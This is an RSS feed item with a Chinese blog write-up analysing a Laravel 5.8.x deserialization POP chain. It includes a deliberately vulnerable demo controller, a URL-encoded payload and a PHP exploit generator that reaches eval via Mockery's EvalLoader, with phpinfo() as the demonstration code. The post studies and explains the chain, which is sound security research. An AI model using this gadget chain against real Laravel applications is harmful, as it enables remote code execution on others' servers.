<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pop &#8211; ChaBug安全</title>
	<atom:link href="/tags/pop/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:14:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Laravel v5.8.x Pop Chain</title>
		<link>/audit/843.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 07:47:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[pop]]></category>
		<guid isPermaLink="false">/?p=843</guid>

					<description><![CDATA[在@mochazz师傅的博客里看到了Laravel的反序列化pop链，记录一下。 环境准备 phpstudy php7.2.10 phpstorm composer 搭建环境 配置...]]></description>
										<content:encoded><![CDATA[<p>在@mochazz师傅的博客里看到了<span class="wpcom_tag_link"><a href="/tags/laravel" title="Laravel" target="_blank">Laravel</a></span>的反序列化<span class="wpcom_tag_link"><a href="/tags/pop" title="pop" target="_blank">pop</a></span>链，记录一下。</p>
<h1>环境准备</h1>
<ol>
<li>phpstudy</li>
<li>php7.2.10</li>
<li>phpstorm</li>
<li>composer</li>
</ol>
<h1>搭建环境</h1>
<h2>配置composer</h2>
<p><a href="https://mirrors.aliyun.com/composer/composer.phar">下载composer.phar</a> 放到php的目录下面，给php配置好环境变量。</p>
<p>在 <code>composer.phar</code> 同级目录下新建文件 <code>composer.bat</code> ：</p>
<pre><code class="language-sh ">D:phpStudyPHPTutorialphpphp-7.2.1-nts&gt; echo @php "%~dp0composer.phar" %*&gt;composer.bat
</code></pre>
<p>关闭当前的命令行窗口，打开新的命令行窗口进行测试：</p>
<pre><code class="language-sh ">C:UsersY4er&gt;composer -V
Composer version 1.9.0 2019-08-02 20:55:32
</code></pre>
<p>更换国内阿里源</p>
<pre><code class="language-bash ">composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
</code></pre>
<h2>配置项目</h2>
<p>创建laravel项目，注意选择版本</p>
<p><img src="https://y4er.com/img/uploads/20190822140805.png" alt="20190822140805" /></p>
<p>创建Demo控制器</p>
<pre><code class="">E:codephplaravel58&gt;php artisan make:controller DemoController
Controller created successfully.
</code></pre>
<p>配置路由</p>
<p>routes/web.php</p>
<pre><code class="language-php ">&lt;?php
use AppHttpControllersDemoController;

Route::get("/", "DemoController@demo");
</code></pre>
<p>添加 DemoController 控制器的demo方法，代码如下：</p>
<p><img src="/wp-content/uploads/2019/08/20190822142029.png" alt="20190822142029" /></p>
<pre><code class="language-php ">&lt;?php

namespace AppHttpControllers;

class DemoController extends Controller
{
    public function demo()
    {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}
</code></pre>
<h1>pop链分析</h1>
<p>首先我们要知道 laravel 在反序列化<code>unserialize($code)</code>时，如果反序列化对象的类不存在，会尝试去自动加载这个类。</p>
<p>堆栈如下</p>
<pre><code class="language-php ">ClassLoader.php:444, ComposerAutoloadincludeFile()    //加载完之后包含类
ClassLoader.php:322, ComposerAutoloadClassLoader-&gt;loadClass() //加载类
DemoController.php:11, spl_autoload_call()  //对象类不存在 调用自动加载
DemoController.php:11, unserialize()        //反序列化传递过来的参数
DemoController.php:11, AppHttpControllersDemoController-&gt;demo()  //路由进入控制器
</code></pre>
<p>接着我们来看下整条pop链，@mochazz师傅的payload</p>
<pre><code class="language-http ">http://php.local/?c=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
</code></pre>
<p>用phpstorm打个断点来跟踪下。</p>
<p>整条pop链入口点利用的是类<code>IlluminateBroadcastingPendingBroadcast</code>的<code>__destruct</code>方法。</p>
<p><img src="/wp-content/uploads/2019/08/20190822143707.png" alt="20190822143707" /></p>
<p><code>$this-&gt;event</code>设置为<code>Dispatcher</code>类，然后进入<code>dispatch()</code>函数</p>
<p><code>vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php</code></p>
<p><img src="/wp-content/uploads/2019/08/20190822145626.png" alt="20190822145626" /></p>
<p>这里要满足if条件，看下<code>$this-&gt;commandShouldBeQueued($command)</code></p>
<pre><code class="language-php ">protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}
</code></pre>
<p>要$command实现<code>ShouldQueue</code>接口，找下</p>
<p><img src="/wp-content/uploads/2019/08/20190822150408.png" alt="20190822150408" /></p>
<p>@mochazz师傅用的是<code>IlluminateBroadcastingBroadcastEvent</code></p>
<p>然后进入<code>$this-&gt;dispatchToQueue($command)</code></p>
<p><img src="/wp-content/uploads/2019/08/20190822145801.png" alt="20190822145801" /></p>
<p>出现了<code>call_user_func</code>，这时候我们可以调用任意类的方法了，接下来寻找下可利用的类方法。</p>
<p>在类<code>MockeryLoaderEvalLoader</code>的<code>load</code>方法中有eval，并且参数可控。</p>
<p><img src="/wp-content/uploads/2019/08/20190822150655.png" alt="20190822150655" /></p>
<p>但是要绕过前面的if语句块，也就是让<code>class_exists($definition-&gt;getClassName(), false)</code>返回false。</p>
<pre><code class="language-php ">public function getClassName(){
    return $this-&gt;config-&gt;getName();
}
</code></pre>
<p>我们找一个含有<code>getName</code>方法且返回值可控的类，让其返回一个不存在的类名即可绕过if。</p>
<p><code>vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php</code> 这个类中有</p>
<pre><code class="language-php ">public function getName()
{
    return $this-&gt;name;
}
</code></pre>
<p>最后进入到<code>eval("?&gt;" . $definition-&gt;getCode());</code>，</p>
<pre><code class="language-php ">public function getCode()
{
    return $this-&gt;code;
}
</code></pre>
<p><code>getCode()</code>依然可控，这个pop链就结束了。</p>
<h1>构造exp</h1>
<pre><code class="language-php ">&lt;?php

namespace IlluminateBroadcasting {
    class PendingBroadcast
    {
        protected $event;
        protected $events;

        public function __construct($events, $event)
        {
            $this-&gt;events = $events;
            $this-&gt;event = $event;
        }
    }
}

namespace IlluminateBus {
    class Dispatcher
    {
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this-&gt;queueResolver = $queueResolver;
        }
    }
}

namespace IlluminateBroadcasting {
    class BroadcastEvent
    {
        public $connection;

        public function __construct($connection)
        {
            $this-&gt;connection = $connection;
        }
    }
}


namespace MockeryGenerator {
    class MockDefinition
    {
        protected $config;
        protected $code = '&lt;?php phpinfo();?&gt;';

        public function __construct($config)
        {
            $this-&gt;config = $config;
        }
    }
}

namespace MockeryGenerator {
    class MockConfiguration
    {
        protected $name = '1234';
    }
}

namespace MockeryLoader {
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {

        }
    }
}

namespace {
    $Mockery = new MockeryLoaderEvalLoader();
    $queueResolver = array($Mockery, "load");
    $MockConfiguration = new MockeryGeneratorMockConfiguration();
    $MockDefinition = new MockeryGeneratorMockDefinition($MockConfiguration);
    $BroadcastEvent = new IlluminateBroadcastingBroadcastEvent($MockDefinition);
    $Dispatcher = new IlluminateBusDispatcher($queueResolver);
    $PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($Dispatcher, $BroadcastEvent);
    echo urlencode(serialize($PendingBroadcast));
}
?&gt;
</code></pre>
<h1>参考链接</h1>
<ol>
<li><a href="https://mochazz.github.io/2019/08/05/Laravel5.8.x反序列化链/#POP链1">Laravel5.8.x反序列化链</a></li>
<li><a href="https://xz.aliyun.com/t/5866">Laravel mockery组件反序列化POP链分析</a></li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
